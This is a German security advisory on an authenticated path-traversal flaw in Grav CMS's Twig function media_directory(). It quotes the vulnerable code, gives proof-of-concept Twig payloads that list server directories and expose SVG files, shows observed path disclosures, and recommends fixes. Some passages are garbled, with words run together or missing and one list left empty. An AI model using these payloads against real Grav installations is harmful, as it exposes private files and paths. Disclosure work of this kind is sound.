
Technisches Advisory, das eine authentifizierte Path-Traversal-Schwachstelle in der Twig-Funktion `media_directory()` von Grav CMS beschreibt, die eine beliebige Verzeichnisauflistung und die Offenlegung von Dateisystempfaden ermöglicht.
media_directory()Name: CYBER-SEC
Kontakt: [email protected]
Die Twig-Funktion media_directory() von Grav ist in der Allowlist der Twig-Sandbox für Seiteninhalte freigegeben, erzwingt jedoch keine ordnungsgemäße Pfadbegrenzung für Nicht-Stream-Eingaben.
Ein authentifizierter Benutzer mit Seitenbearbeitungsrechten kann media_directory('/absoluter/pfad') aufrufen oder relative Traversal wie media_directory('../../../../pfad') innerhalb von Twig-fähigen Seiteninhalten verwenden. Grav indiziert anschließend Mediendateien aus Verzeichnissen, die für den Webserver-Benutzer lesbar sind.
Die zurückgegebenen Medium-Objekte legen sandbox-erlaubte Eigenschaften wie und offen, was zu einer beliebigen Verzeichnisaufzählung und Offenlegung absoluter Dateisystempfade führt. Bei Bild-/SVG-Dateien kann die URL- oder Cache-Generierung Dateien über die öffentliche Cache-Verarbeitung von Grav zugänglich machen.
filepathfilenameDies ist eine authentifizierte Schwachstelle zur Informationsoffenlegung. Es ist nicht bekannt, dass sie eine nicht authentifizierte Ausnutzung oder direkte Remote-Codeausführung ermöglicht.
Produkt: Grav Flat-File-CMS
Repository: https://github.com/getgrav/grav
Verifizierte betroffene Versionen: 2.0.3, 2.0.4, 2.0.6
Komponente: Twig media_directory() / Grav-Twig-Sandbox für Seiteninhalte
Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Basis-Score: 6,5 Mittel
Die verwundbare Senke befindet sich in:
system/src/Grav/Common/Twig/Extension/GravExtension.php
Relevante Logik:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
Nur stream://-Eingaben werden über den Locator von Grav aufgelöst. Nicht-Stream-Absolut- oder -Relativpfade werden unverändert an new Media($media_dir) übergeben, ohne kanonische realpath()-Validierung, Traversal-Ablehnung oder Begrenzung auf von Grav kontrollierte, genehmigte Verzeichnisse.
Die Funktion ist über die Allowlist der Twig-Sandbox für Seiteninhalte freigegeben:
system/config/security.yaml
allowed_functions:
- media_directory
Die Sandbox erlaubt außerdem Medium-Methoden/-Eigenschaften wie:
filepath
filename
url
cache
resize
Dies ermöglicht einem authentifizierten Seitenbearbeiter, Dateinamen und absolute Pfade aus beliebigen lesbaren Verzeichnissen offenzulegen. Bei Bild-/SVG-Dateien kann die öffentliche URL-/Cache-Generierung den Dateiinhalt zugänglich machen.
Erstellen oder bearbeiten Sie bei aktivierter Twig-Inhaltsverarbeitung eine Grav-Seite und fügen Sie Folgendes ein:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Traversal-Form:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Beispiel für die Offenlegung von Bild-/SVG-Dateien:
{{ media_directory('/absoluter/pfad/zu/privat')['secret.svg'].url }}
Wenn die Seite gespeichert und gerendert wird, indiziert Grav Dateien aus dem vom Angreifer kontrollierten Pfad und legt Dateinamen sowie absolute Dateisystempfade offen.
Verifiziert gegen Grav 2.0.6 unter Verwendung des Docker-Images linuxserver/grav:latest.
Beobachtete Ergebnisse umfassten:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
Relatives Traversal wurde ebenfalls bestätigt:
../../../../app/www/public
Die Offenlegung von SVG-Dateien über .url wurde ebenfalls in einer kontrollierten lokalen Testumgebung bestätigt.
Ein authentifizierter Seitenbearbeiter kann:
Diese Schwachstelle gehört zur Klasse der Informationsoffenlegung und sollte nicht als Remote-Codeausführung gemeldet werden.
Empfohlene Korrekturen:
media_directory aus der Allowlist der Twig-Sandbox für Seiteninhalte.oder:
media_directory() an:realpath() auf.user://pages, user://images oder andere ausdrücklich genehmigte Medienverzeichnisse.Dieses Problem wurde von CYBER-SEC gemeldet.